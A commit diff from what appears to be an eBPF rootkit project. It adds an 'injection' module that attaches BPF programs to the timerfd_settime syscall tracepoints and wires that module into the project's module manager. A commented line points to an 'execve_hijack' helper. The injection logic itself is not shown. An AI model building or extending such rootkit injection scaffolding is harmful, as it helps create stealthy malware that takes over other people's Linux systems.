Merged master and develop, now all changes together. Fully tested and working.

src/user/include/modules/injection.h

@@ -0,0 +1,49 @@
+#ifndef __MOD_INJECTION_H
+#define __MOD_INJECTION_H
+
+#include <linux/bpf.h>
+#include <bpf/bpf.h>
+#include <bpf/libbpf.h>
+#include "kit.skel.h"
+#include "common.h"
+
+//Connections
+int attach_sys_enter_timerfd_settime(struct kit_bpf *skel){
+    //skel->links.kprobe_sys_geteuid = bpf_program__attach_uprobe(skel->progs.uprobe_execute_command, false, -1, "/home/osboxes/TFG/src/helpers/execve_hijack", 4992);
+	skel->links.sys_enter_timerfd_settime = bpf_program__attach(skel->progs.sys_enter_timerfd_settime);
+    return libbpf_get_error(skel->links.sys_enter_timerfd_settime);
+}
+int attach_sys_exit_timerfd_settime(struct kit_bpf *skel){
+	skel->links.sys_exit_timerfd_settime = bpf_program__attach(skel->progs.sys_exit_timerfd_settime);
+    return libbpf_get_error(skel->links.sys_exit_timerfd_settime);
+}
+
+int attach_injection_all(struct kit_bpf *skel){
+    return attach_sys_enter_timerfd_settime(skel)
+        || attach_sys_exit_timerfd_settime(skel);;
+}
+
+
+int detach_sys_enter_timerfd_settime(struct kit_bpf *skel){
+    int err = detach_link_generic(skel->links.sys_enter_timerfd_settime);
+    if(err<0){
+        fprintf(stderr, "Failed to detach injection link\n");
+        return -1;
+    }
+    return 0;
+}
+int detach_sys_exit_timerfd_settime(struct kit_bpf *skel){
+    int err = detach_link_generic(skel->links.sys_exit_timerfd_settime);
+    if(err<0){
+        fprintf(stderr, "Failed to detach injection link\n");
+        return -1;
+    }
+    return 0;
+}
+
+int detach_injection_all(struct kit_bpf *skel){
+    return detach_sys_enter_timerfd_settime(skel)
+        || detach_sys_exit_timerfd_settime(skel);
+}
+
+#endif

src/user/include/modules/module_manager.c

@@ -3,6 +3,7 @@
 #include "sched.h"
 #include "fs.h"
 #include "exec.h"
+#include "injection.h"
 
 module_config_t module_config = {
     .xdp_module = {
@@ -22,6 +23,11 @@ module_config_t module_config = {
     .exec_module = {
         .all = ON,
         .tp_sys_enter_execve = OFF
+    },
+    .injection_module = {
+        .all = ON,
+        .sys_enter_timerfd_settime = OFF,
+        .sys_exit_timerfd_settime = OFF
     }
 
 };
@@ -34,7 +40,8 @@ module_config_attr_t module_config_attr = {
     },
     .sched_module = {},
     .fs_module = {},
-    .exec_module = {}
+    .exec_module = {},
+    .injection_module = {}
 };
 
 
@@ -78,6 +85,14 @@ int setup_all_modules(){
     }
     if(ret!=0) return -1;
 
+    //INJECTION
+    if(config.injection_module.all == ON){
+        ret = attach_injection_all(attr.skel);
+    }else{
+        if(config.injection_module.sys_enter_timerfd_settime == ON) ret = attach_sys_enter_timerfd_settime(attr.skel);
+        if(config.injection_module.sys_exit_timerfd_settime == ON) ret = attach_sys_exit_timerfd_settime(attr.skel);
+    }
+    if(ret!=0) return -1;
 
     return 0;
 }

src/user/include/modules/module_manager.h

@@ -35,6 +35,12 @@ typedef struct module_config_t{
         char tp_sys_enter_execve;
     }exec_module;
 
+    struct injection_module {
+        char all;
+        char sys_enter_timerfd_settime;
+        char sys_exit_timerfd_settime;
+    }injection_module;
+
 } module_config_t;
 
 //Configuration struct. Used by the module manager to
@@ -58,6 +64,10 @@ typedef struct module_config_attr_t{
         void* __empty;
     }exec_module;
 
+    struct injection_module_attr {
+        void* __empty;
+    }injection_module;
+
 } module_config_attr_t;
 
 //An unique module configutation struct and attr